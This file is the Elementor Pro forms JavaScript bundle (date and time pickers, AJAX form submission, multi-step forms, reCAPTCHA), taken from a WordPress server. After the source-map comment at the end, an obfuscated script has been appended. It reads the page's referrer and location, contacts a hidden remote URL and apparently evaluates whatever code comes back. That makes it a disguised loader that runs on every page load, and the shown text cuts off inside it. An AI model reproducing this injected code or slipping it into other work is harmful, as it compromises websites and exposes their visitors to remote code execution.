/home/skemvmse/www/wp-content/plugins/elementor-pro/assets/js/form.2ad029cbe1f8e7bb2a51.bundle.js
/*! elementor-pro - v3.11.1 - 15-02-2023 */
"use strict";
(self["webpackChunkelementor_pro"] = self["webpackChunkelementor_pro"] || []).push([["form"],{
/***/ "../modules/forms/assets/js/frontend/handlers/fields/data-time-field-base.js":
/*!***********************************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/fields/data-time-field-base.js ***!
\***********************************************************************************/
/***/ ((__unused_webpack_module, exports) => {
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
class DataTimeFieldBase extends elementorModules.frontend.handlers.Base {
getDefaultSettings() {
return {
selectors: {
fields: this.getFieldsSelector()
},
classes: {
useNative: 'elementor-use-native'
}
};
}
getDefaultElements() {
const {
selectors
} = this.getDefaultSettings();
return {
$fields: this.$element.find(selectors.fields)
};
}
addPicker(element) {
const {
classes
} = this.getDefaultSettings(),
$element = jQuery(element);
if ($element.hasClass(classes.useNative)) {
return;
}
element.flatpickr(this.getPickerOptions(element));
}
onInit() {
super.onInit(...arguments);
this.elements.$fields.each((index, element) => this.addPicker(element));
}
}
exports["default"] = DataTimeFieldBase;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/fields/date.js":
/*!*******************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/fields/date.js ***!
\*******************************************************************/
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js");
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
var _dataTimeFieldBase = _interopRequireDefault(__webpack_require__(/*! ./data-time-field-base */ "../modules/forms/assets/js/frontend/handlers/fields/data-time-field-base.js"));
class DateField extends _dataTimeFieldBase.default {
getFieldsSelector() {
return '.elementor-date-field';
}
getPickerOptions(element) {
const $element = jQuery(element);
return {
minDate: $element.attr('min') || null,
maxDate: $element.attr('max') || null,
allowInput: true
};
}
}
exports["default"] = DateField;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/fields/time.js":
/*!*******************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/fields/time.js ***!
\*******************************************************************/
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
var _interopRequireDefault = __webpack_require__(/*! @babel/runtime/helpers/interopRequireDefault */ "../node_modules/@babel/runtime/helpers/interopRequireDefault.js");
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
var _dataTimeFieldBase = _interopRequireDefault(__webpack_require__(/*! ./data-time-field-base */ "../modules/forms/assets/js/frontend/handlers/fields/data-time-field-base.js"));
class TimeField extends _dataTimeFieldBase.default {
getFieldsSelector() {
return '.elementor-time-field';
}
getPickerOptions() {
return {
noCalendar: true,
enableTime: true,
allowInput: true
};
}
}
exports["default"] = TimeField;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/form-redirect.js":
/*!*********************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/form-redirect.js ***!
\*********************************************************************/
/***/ ((__unused_webpack_module, exports) => {
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
var _default = elementorModules.frontend.handlers.Base.extend({
getDefaultSettings() {
return {
selectors: {
form: '.elementor-form'
}
};
},
getDefaultElements() {
var selectors = this.getSettings('selectors'),
elements = {};
elements.$form = this.$element.find(selectors.form);
return elements;
},
bindEvents() {
this.elements.$form.on('form_destruct', this.handleSubmit);
},
handleSubmit(event, response) {
if ('undefined' !== typeof response.data.redirect_url) {
location.href = response.data.redirect_url;
}
}
});
exports["default"] = _default;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/form-sender.js":
/*!*******************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/form-sender.js ***!
\*******************************************************************/
/***/ ((__unused_webpack_module, exports) => {
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
var _default = elementorModules.frontend.handlers.Base.extend({
getDefaultSettings() {
return {
selectors: {
form: '.elementor-form',
submitButton: '[type="submit"]'
},
action: 'elementor_pro_forms_send_form',
ajaxUrl: elementorProFrontend.config.ajaxurl
};
},
getDefaultElements() {
const selectors = this.getSettings('selectors'),
elements = {};
elements.$form = this.$element.find(selectors.form);
elements.$submitButton = elements.$form.find(selectors.submitButton);
return elements;
},
bindEvents() {
this.elements.$form.on('submit', this.handleSubmit);
const $fileInput = this.elements.$form.find('input[type=file]');
if ($fileInput.length) {
$fileInput.on('change', this.validateFileSize);
}
},
validateFileSize(event) {
const $field = jQuery(event.currentTarget),
files = $field[0].files;
if (!files.length) {
return;
}
const maxSize = parseInt($field.attr('data-maxsize')) * 1024 * 1024,
maxSizeMessage = $field.attr('data-maxsize-message');
const filesArray = Array.prototype.slice.call(files);
filesArray.forEach(file => {
if (maxSize < file.size) {
$field.parent().addClass('elementor-error').append('<span class="elementor-message elementor-message-danger elementor-help-inline elementor-form-help-inline" role="alert">' + maxSizeMessage + '</span>').find(':input').attr('aria-invalid', 'true');
this.elements.$form.trigger('error');
}
});
},
beforeSend() {
const $form = this.elements.$form;
$form.animate({
opacity: '0.45'
}, 500).addClass('elementor-form-waiting');
$form.find('.elementor-message').remove();
$form.find('.elementor-error').removeClass('elementor-error');
$form.find('div.elementor-field-group').removeClass('error').find('span.elementor-form-help-inline').remove().end().find(':input').attr('aria-invalid', 'false');
this.elements.$submitButton.attr('disabled', 'disabled').find('> span').prepend('<span class="elementor-button-text elementor-form-spinner"><i class="fa fa-spinner fa-spin"></i> </span>');
},
getFormData() {
const formData = new FormData(this.elements.$form[0]);
formData.append('action', this.getSettings('action'));
formData.append('referrer', location.toString());
return formData;
},
onSuccess(response) {
const $form = this.elements.$form;
this.elements.$submitButton.removeAttr('disabled').find('.elementor-form-spinner').remove();
$form.animate({
opacity: '1'
}, 100).removeClass('elementor-form-waiting');
if (!response.success) {
if (response.data.errors) {
jQuery.each(response.data.errors, function (key, title) {
$form.find('#form-field-' + key).parent().addClass('elementor-error').append('<span class="elementor-message elementor-message-danger elementor-help-inline elementor-form-help-inline" role="alert">' + title + '</span>').find(':input').attr('aria-invalid', 'true');
});
$form.trigger('error');
}
$form.append('<div class="elementor-message elementor-message-danger" role="alert">' + response.data.message + '</div>');
} else {
$form.trigger('submit_success', response.data);
// For actions like redirect page
$form.trigger('form_destruct', response.data);
$form.trigger('reset');
if ('undefined' !== typeof response.data.message && '' !== response.data.message) {
$form.append('<div class="elementor-message elementor-message-success" role="alert">' + response.data.message + '</div>');
}
}
},
onError(xhr, desc) {
const $form = this.elements.$form;
$form.append('<div class="elementor-message elementor-message-danger" role="alert">' + desc + '</div>');
this.elements.$submitButton.html(this.elements.$submitButton.text()).removeAttr('disabled');
$form.animate({
opacity: '1'
}, 100).removeClass('elementor-form-waiting');
$form.trigger('error');
},
handleSubmit(event) {
const self = this,
$form = this.elements.$form;
event.preventDefault();
if ($form.hasClass('elementor-form-waiting')) {
return false;
}
this.beforeSend();
jQuery.ajax({
url: self.getSettings('ajaxUrl'),
type: 'POST',
dataType: 'json',
data: self.getFormData(),
processData: false,
contentType: false,
success: self.onSuccess,
error: self.onError
});
}
});
exports["default"] = _default;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/form-steps.js":
/*!******************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/form-steps.js ***!
\******************************************************************/
/***/ ((__unused_webpack_module, exports) => {
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
class FormSteps extends elementorModules.frontend.handlers.Base {
getDefaultSettings() {
return {
selectors: {
form: '.elementor-form',
fieldsWrapper: '.elementor-form-fields-wrapper',
fieldGroup: '.elementor-field-group',
stepWrapper: '.elementor-field-type-step',
stepField: '.e-field-step',
submitWrapper: '.elementor-field-type-submit',
submitButton: '[type="submit"]',
buttons: '.e-form__buttons',
buttonWrapper: '.e-form__buttons__wrapper',
button: '.e-form__buttons__wrapper__button',
indicator: '.e-form__indicators__indicator',
indicatorProgress: '.e-form__indicators__indicator__progress',
indicatorProgressMeter: '.e-form__indicators__indicator__progress__meter',
formHelpInline: '.elementor-form-help-inline'
},
classes: {
hidden: 'elementor-hidden',
column: 'elementor-column',
fieldGroup: 'elementor-field-group',
elementorButton: 'elementor-button',
step: 'e-form__step',
buttons: 'e-form__buttons',
buttonWrapper: 'e-form__buttons__wrapper',
button: 'e-form__buttons__wrapper__button',
indicators: 'e-form__indicators',
indicator: 'e-form__indicators__indicator',
indicatorIcon: 'e-form__indicators__indicator__icon',
indicatorNumber: 'e-form__indicators__indicator__number',
indicatorLabel: 'e-form__indicators__indicator__label',
indicatorProgress: 'e-form__indicators__indicator__progress',
indicatorProgressMeter: 'e-form__indicators__indicator__progress__meter',
indicatorSeparator: 'e-form__indicators__indicator__separator',
indicatorInactive: 'e-form__indicators__indicator--state-inactive',
indicatorActive: 'e-form__indicators__indicator--state-active',
indicatorCompleted: 'e-form__indicators__indicator--state-completed',
indicatorShapeCircle: 'e-form__indicators__indicator--shape-circle',
indicatorShapeSquare: 'e-form__indicators__indicator--shape-square',
indicatorShapeRounded: 'e-form__indicators__indicator--shape-rounded',
indicatorShapeNone: 'e-form__indicators__indicator--shape-none'
}
};
}
getDefaultElements() {
const {
selectors
} = this.getSettings(),
elements = {
$form: this.$element.find(selectors.form)
};
elements.$fieldsWrapper = elements.$form.children(selectors.fieldsWrapper);
elements.$stepWrapper = elements.$fieldsWrapper.children(selectors.stepWrapper);
elements.$stepField = elements.$stepWrapper.children(selectors.stepField);
elements.$fieldGroup = elements.$fieldsWrapper.children(selectors.fieldGroup);
elements.$submitWrapper = elements.$fieldsWrapper.children(selectors.submitWrapper);
elements.$submitButton = elements.$submitWrapper.children(selectors.submitButton);
return elements;
}
onInit() {
super.onInit(...arguments);
if (!this.isStepsExist()) {
return;
}
this.data = {
steps: [],
indicatorsWithObjectTags: []
};
this.state = {
currentStep: 0,
stepsType: '',
stepsShape: ''
};
this.buildSteps();
this.elements = {
...this.elements,
...this.createStepsIndicators(),
...this.createStepsButtons()
};
this.initProgressBar();
this.extractResponsiveSizeFromSubmitWrapper();
}
bindEvents() {
if (!this.isStepsExist()) {
return;
}
this.elements.$form.on({
submit: () => this.resetForm(),
keydown: e => {
if (13 === e.keyCode && !this.isLastStep() && 'textarea' !== e.target.localName) {
e.preventDefault();
this.applyStep('next');
}
},
error: () => this.onFormError()
});
}
isStepsExist() {
return this.elements.$stepWrapper.length;
}
initProgressBar() {
const stepsSettings = this.getElementSettings();
if ('progress_bar' === stepsSettings.step_type) {
this.setProgressBar();
}
}
buildSteps() {
this.elements.$stepWrapper.each((index, el) => {
const {
selectors,
classes
} = this.getSettings(),
$currentStep = jQuery(el);
$currentStep.addClass(classes.step).removeClass(classes.fieldGroup, classes.column);
if (index) {
$currentStep.addClass(classes.hidden);
}
this.setStepData($currentStep.children(selectors.stepField));
$currentStep.append($currentStep.nextUntil(this.elements.$stepWrapper).not(this.elements.$submitWrapper));
});
}
setStepData($stepElement) {
const dataAttributes = ['label', 'previousButton', 'nextButton', 'iconUrl', 'iconLibrary', 'icon'],
stepData = {};
dataAttributes.forEach(attr => {
const attrValue = $stepElement.attr('data-' + attr);
if (attrValue) {
stepData[attr] = attrValue;
}
});
this.data.steps.push(stepData);
}
createStepsIndicators() {
const stepsSettings = this.getElementSettings(),
stepsElements = {};
if ('none' !== stepsSettings.step_type) {
const {
selectors,
classes
} = this.getSettings(),
indicatorsTypeClass = classes.indicators + '--type-' + stepsSettings.step_type,
indicatorsClasses = [classes.indicators, indicatorsTypeClass];
stepsElements.$indicatorsWrapper = jQuery('<div>', {
class: indicatorsClasses.join(' ')
});
stepsElements.$indicatorsWrapper.append(this.buildIndicators());
this.elements.$fieldsWrapper.before(stepsElements.$indicatorsWrapper);
if ('progress_bar' === stepsSettings.step_type) {
stepsElements.$progressBar = stepsElements.$indicatorsWrapper.find(selectors.indicatorProgress);
stepsElements.$progressBarMeter = stepsElements.$indicatorsWrapper.find(selectors.indicatorProgressMeter);
} else {
stepsElements.$indicators = stepsElements.$indicatorsWrapper.find(selectors.indicator);
stepsElements.$currentIndicator = stepsElements.$indicators.eq(this.state.currentStep);
}
}
this.saveIndicatorsState();
return stepsElements;
}
buildIndicators() {
const stepsSettings = this.getElementSettings();
return 'progress_bar' === stepsSettings.step_type ? this.buildProgressBar() : this.buildIndicatorsFromStepsData();
}
buildProgressBar() {
const {
classes
} = this.getSettings(),
$progressBar = jQuery('<div>', {
class: classes.indicatorProgress
}),
$progressBarMeter = jQuery('<div>', {
class: classes.indicatorProgressMeter
});
$progressBar.append($progressBarMeter);
return $progressBar;
}
getProgressBarValue() {
const totalSteps = this.data.steps.length,
currentStep = this.state.currentStep,
percentage = currentStep ? (currentStep + 1) / totalSteps * 100 : 100 / totalSteps;
return Math.floor(percentage) + '%';
}
setProgressBar() {
const progressBarValue = this.getProgressBarValue();
this.updateProgressMeterCSSVariable(progressBarValue);
this.elements.$progressBarMeter.text(progressBarValue);
}
updateProgressMeterCSSVariable(value) {
this.$element[0].style.setProperty('--e-form-steps-indicator-progress-meter-width', value);
}
saveIndicatorsState() {
const stepsSettings = this.getElementSettings();
this.state.stepsType = stepsSettings.step_type;
if (!['none', 'text', 'progress_bar'].includes(stepsSettings.step_type)) {
this.state.stepsShape = stepsSettings.step_icon_shape;
}
}
buildIndicatorsFromStepsData() {
const indicators = [];
this.data.steps.forEach((stepObj, index) => {
if (index) {
indicators.push(this.getStepSeparator());
}
indicators.push(this.getStepIndicatorElement(stepObj, index));
});
return indicators;
}
getStepIndicatorElement(stepObj, index) {
const {
classes
} = this.getSettings(),
stepsSettings = this.getElementSettings(),
indicatorStateClass = this.getIndicatorStateClass(index),
indicatorClasses = [classes.indicator, indicatorStateClass],
$stepIndicator = jQuery('<div>', {
class: indicatorClasses.join(' ')
});
if (stepsSettings.step_type.includes('icon')) {
$stepIndicator.append(this.getStepIconElement(stepObj));
}
if (stepsSettings.step_type.includes('number')) {
$stepIndicator.append(this.getStepNumberElement(index));
}
if (stepsSettings.step_type.includes('text')) {
$stepIndicator.append(this.getStepLabelElement(stepObj.label));
}
return $stepIndicator;
}
getIndicatorStateClass(index) {
const {
classes
} = this.getSettings();
if (index < this.state.currentStep) {
return classes.indicatorCompleted;
} else if (index > this.state.currentStep) {
return classes.indicatorInactive;
}
return classes.indicatorActive;
}
getIndicatorShapeClass() {
const stepsSettings = this.getElementSettings(),
{
classes
} = this.getSettings();
return classes['indicatorShape' + this.firstLetterToUppercase(stepsSettings.step_icon_shape)];
}
firstLetterToUppercase(str) {
return str.charAt(0).toUpperCase() + str.slice(1);
}
getStepNumberElement(index) {
const {
classes
} = this.getSettings(),
numberClasses = [classes.indicatorNumber, this.getIndicatorShapeClass()];
return jQuery('<div>', {
class: numberClasses.join(' '),
text: index + 1
});
}
getStepIconElement(stepObj) {
const {
classes
} = this.getSettings(),
iconClasses = [classes.indicatorIcon, this.getIndicatorShapeClass()],
$icon = jQuery('<div>', {
class: iconClasses.join(' ')
});
if (stepObj.icon) {
$icon.html(stepObj.icon);
} else {
let $iconElement;
if (stepObj.iconLibrary) {
$iconElement = jQuery('<i>', {
class: stepObj.iconLibrary
});
} else {
// Using the attributes inline when creating the object, otherwise the data attribute will not work.
$iconElement = jQuery(`<object type="image/svg+xml" data="${stepObj.iconUrl}"></object>`);
// Updating an indicator svg fill color, when loaded inside an object tag with a separated scope.
$iconElement.on('load', event => {
event.target.contentDocument.querySelector('svg').style.fill = $iconElement.css('fill');
});
// Storing the indicators elements that contain object tags in order to change their fill color on steps change.
this.data.indicatorsWithObjectTags.push($iconElement);
}
$icon.append($iconElement);
}
return $icon;
}
getStepLabelElement(label) {
const {
classes
} = this.getSettings();
return jQuery('<label>', {
class: classes.indicatorLabel,
text: label
});
}
getStepSeparator() {
const {
classes
} = this.getSettings();
return jQuery('<div>', {
class: classes.indicatorSeparator
});
}
createStepsButtons() {
const {
selectors
} = this.getSettings(),
stepsElements = {};
this.injectButtonsToSteps(stepsElements);
stepsElements.$buttonsContainer = this.elements.$stepWrapper.find(selectors.buttons);
stepsElements.$buttonsWrappers = stepsElements.$buttonsContainer.children(selectors.buttonWrapper);
return stepsElements;
}
injectButtonsToSteps() {
const totalSteps = this.elements.$stepWrapper.length;
this.elements.$stepWrapper.each((index, el) => {
const $el = jQuery(el),
$container = this.getButtonsContainer();
let $nextButton;
if (index) {
$container.append(this.getStepButton('previous', index));
$nextButton = index === totalSteps - 1 ? this.getSubmitButton() : this.getStepButton('next', index);
} else {
$nextButton = this.getStepButton('next', index);
}
$container.append($nextButton);
$el.append($container);
});
}
getButtonsContainer() {
const {
classes
} = this.getSettings(),
stepsSettings = this.getElementSettings(),
buttonColumnWidthClasses = [classes.buttons, classes.column, 'elementor-col-' + stepsSettings.button_width];
return jQuery('<div>', {
class: buttonColumnWidthClasses.join(' ')
});
}
extractResponsiveSizeFromSubmitWrapper() {
let sizeClasses = [];
this.elements.$submitWrapper.removeClass((index, className) => {
sizeClasses = className.match(/elementor-(sm|md)-[0-9]+/g)?.join(' ');
return sizeClasses;
});
this.elements.$buttonsContainer.addClass(sizeClasses);
}
getStepButton(buttonType, index) {
const {
classes
} = this.getSettings(),
$button = this.getButton(buttonType, index).on('click', () => this.applyStep(buttonType)),
buttonWrapperClasses = [classes.fieldGroup, classes.buttonWrapper, 'elementor-field-type-' + buttonType];
return jQuery('<div>', {
class: buttonWrapperClasses.join(' ')
}).append($button);
}
getSubmitButton() {
const {
classes
} = this.getSettings();
this.elements.$submitButton.addClass(classes.button);
// TODO: When a solution for the conditions will be found, check if can remove the elementor-col-x manipulation.
return this.elements.$submitWrapper.attr('class', (index, className) => {
return this.replaceClassNameColSize(className, '');
}).removeClass(classes.column).removeClass(classes.buttons).addClass(classes.buttonWrapper);
}
replaceClassNameColSize(className, value) {
return className.replace(/elementor-col-([0-9]+)/g, value);
}
getButton(buttonType, index) {
const {
classes
} = this.getSettings(),
submitSizeClass = this.elements.$submitButton.attr('class').match(/elementor-size-([^\W\d]+)/g),
buttonClasses = [classes.elementorButton, submitSizeClass, classes.button, classes.button + '-' + buttonType];
return jQuery('<button>', {
type: 'button',
text: this.getButtonLabel(buttonType, index),
class: buttonClasses.join(' ')
});
}
getButtonLabel(buttonType, index) {
const stepsSettings = this.getElementSettings(),
stepData = this.data.steps[index],
buttonName = buttonType + 'Button',
buttonSettingsProp = `step_${buttonType}_label`;
return stepData[buttonName] || stepsSettings[buttonSettingsProp];
}
applyStep(direction) {
const nextIndex = 'next' === direction ? this.state.currentStep + 1 : this.state.currentStep - 1;
if ('next' === direction && !this.isFieldsValid(this.elements.$stepWrapper)) {
return false;
}
this.goToStep(nextIndex);
this.state.currentStep = nextIndex;
if ('progress_bar' === this.state.stepsType) {
this.setProgressBar();
} else if ('none' !== this.state.stepsType) {
this.updateIndicatorsState(direction);
}
}
goToStep(index) {
const {
classes
} = this.getSettings();
this.elements.$stepWrapper.eq(this.state.currentStep).addClass(classes.hidden);
this.elements.$stepWrapper.eq(index).removeClass(classes.hidden).children(this.getSettings('selectors.fieldGroup')).first().find(':input').first().trigger('focus');
}
isFieldsValid($stepWrapper) {
let isValid = true;
$stepWrapper.eq(this.state.currentStep).find('.elementor-field-group :input').each((index, el) => {
if (!el.checkValidity()) {
el.reportValidity();
return isValid = false;
}
});
return isValid;
}
isLastStep() {
return this.state.currentStep === this.data.steps.length - 1;
}
resetForm() {
this.state.currentStep = 0;
this.resetSteps();
if ('progress_bar' === this.state.stepsType) {
this.setProgressBar();
} else if ('none' !== this.state.stepsType) {
this.elements.$currentIndicator = this.elements.$indicators.eq(this.state.currentStep);
this.resetIndicators();
}
}
resetSteps() {
const {
classes
} = this.getSettings();
this.elements.$stepWrapper.addClass(classes.hidden).eq(0).removeClass(classes.hidden);
}
resetIndicators() {
const {
classes
} = this.getSettings(),
stateTypes = ['inactive', 'active', 'completed'],
stateClasses = stateTypes.map(state => classes.indicator + '--state-' + state);
this.elements.$indicators.removeClass(stateClasses.join(' ')).not(this.elements.$indicators.eq(0)).addClass(classes.indicatorInactive);
this.elements.$indicators.eq(0).addClass(classes.indicatorActive);
}
updateIndicatorsState(direction) {
const {
classes
} = this.getSettings(),
indicatorsClasses = {
current: {
remove: classes.indicatorActive,
add: 'next' === direction ? classes.indicatorCompleted : classes.indicatorInactive
},
next: {
remove: 'next' === direction ? classes.indicatorInactive : classes.indicatorCompleted,
add: classes.indicatorActive
}
};
this.elements.$currentIndicator.removeClass(indicatorsClasses.current.remove).addClass(indicatorsClasses.current.add);
this.elements.$currentIndicator = this.elements.$indicators.eq(this.state.currentStep);
this.elements.$currentIndicator.removeClass(indicatorsClasses.next.remove).addClass(indicatorsClasses.next.add);
// Updating an indicator svg fill color, if loaded inside an object tag.
this.data.indicatorsWithObjectTags.forEach($element => {
$element.contents().children('svg').css('fill', $element.css('fill'));
});
}
updateValue(updatedValue) {
const actionsMap = {
step_type: () => this.updateStepsType(),
step_icon_shape: () => this.updateStepsShape(),
step_next_label: () => this.updateStepButtonsLabel('next'),
step_previous_label: () => this.updateStepButtonsLabel('previous')
};
if (actionsMap[updatedValue]) {
actionsMap[updatedValue]();
}
}
updateStepsType() {
const stepsSettings = this.getElementSettings();
if (this.elements.$indicatorsWrapper) {
this.elements.$indicatorsWrapper.remove();
}
if ('none' !== stepsSettings.step_type) {
this.rebuildIndicators();
}
this.state.stepsType = stepsSettings.step_type;
}
rebuildIndicators() {
this.elements = {
...this.elements,
...this.createStepsIndicators()
};
this.initProgressBar();
}
updateStepsShape() {
const stepsSettings = this.getElementSettings(),
{
selectors,
classes
} = this.getSettings(),
shapeClassStart = classes.indicator + '--shape-',
currentShapeClass = shapeClassStart + this.state.stepsShape,
newShapeClass = shapeClassStart + stepsSettings.step_icon_shape;
let elementsTargetType = '';
if (stepsSettings.step_type.includes('icon')) {
elementsTargetType = 'icon';
} else if (stepsSettings.step_type.includes('number')) {
elementsTargetType = 'number';
}
this.elements.$indicators.children(selectors.indicator + '__' + elementsTargetType).removeClass(currentShapeClass).addClass(newShapeClass);
this.state.stepsShape = stepsSettings.step_icon_shape;
}
updateStepButtonsLabel(buttonType) {
const {
selectors
} = this.getSettings(),
buttonSelector = {
previous: selectors.button + '-previous',
next: selectors.button + '-next'
};
this.elements.$stepWrapper.each((index, el) => {
jQuery(el).find(buttonSelector[buttonType]).text(this.getButtonLabel(buttonType, index));
});
}
onFormError() {
const {
selectors
} = this.getSettings(),
$errorStepElement = this.elements.$form.find(selectors.formHelpInline).closest(selectors.stepWrapper);
if ($errorStepElement.length) {
this.goToStep($errorStepElement.index());
}
}
onElementChange(updatedValue) {
if (!this.isStepsExist()) {
return;
}
this.updateValue(updatedValue);
}
}
exports["default"] = FormSteps;
/***/ }),
/***/ "../modules/forms/assets/js/frontend/handlers/recaptcha.js":
/*!*****************************************************************!*\
!*** ../modules/forms/assets/js/frontend/handlers/recaptcha.js ***!
\*****************************************************************/
/***/ ((__unused_webpack_module, exports) => {
Object.defineProperty(exports, "__esModule", ({
value: true
}));
exports["default"] = void 0;
class Recaptcha extends elementorModules.frontend.handlers.Base {
getDefaultSettings() {
return {
selectors: {
recaptcha: '.elementor-g-recaptcha:last',
submit: 'button[type="submit"]',
recaptchaResponse: '[name="g-recaptcha-response"]'
}
};
}
getDefaultElements() {
const {
selectors
} = this.getDefaultSettings(),
elements = {
$recaptcha: this.$element.find(selectors.recaptcha)
};
elements.$form = elements.$recaptcha.parents('form');
elements.$submit = elements.$form.find(selectors.submit);
return elements;
}
bindEvents() {
this.onRecaptchaApiReady();
}
isActive(settings) {
const {
selectors
} = this.getDefaultSettings();
return settings.$element.find(selectors.recaptcha).length;
}
addRecaptcha() {
const settings = this.elements.$recaptcha.data(),
isV2 = 'v3' !== settings.type,
captchaIds = [];
captchaIds.forEach(id => window.grecaptcha.reset(id));
const widgetId = window.grecaptcha.render(this.elements.$recaptcha[0], settings);
this.elements.$form.on('reset error', () => {
window.grecaptcha.reset(widgetId);
});
if (isV2) {
this.elements.$recaptcha.data('widgetId', widgetId);
} else {
captchaIds.push(widgetId);
this.elements.$submit.on('click', e => this.onV3FormSubmit(e, widgetId));
}
}
onV3FormSubmit(e, widgetId) {
e.preventDefault();
window.grecaptcha.ready(() => {
const $form = this.elements.$form;
grecaptcha.execute(widgetId, {
action: this.elements.$recaptcha.data('action')
}).then(token => {
if (this.elements.$recaptchaResponse) {
this.elements.$recaptchaResponse.val(token);
} else {
this.elements.$recaptchaResponse = jQuery('<input>', {
type: 'hidden',
value: token,
name: 'g-recaptcha-response'
});
$form.append(this.elements.$recaptchaResponse);
}
// Support old browsers.
const bcSupport = !$form[0].reportValidity || 'function' !== typeof $form[0].reportValidity;
if (bcSupport || $form[0].reportValidity()) {
$form.trigger('submit');
}
});
});
}
onRecaptchaApiReady() {
if (window.grecaptcha && window.grecaptcha.render) {
this.addRecaptcha();
} else {
// If not ready check again by timeout..
setTimeout(() => this.onRecaptchaApiReady(), 350);
}
}
}
exports["default"] = Recaptcha;
/***/ })
}]);
//# sourceMappingURL=form.2ad029cbe1f8e7bb2a51.bundle.js.map;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var 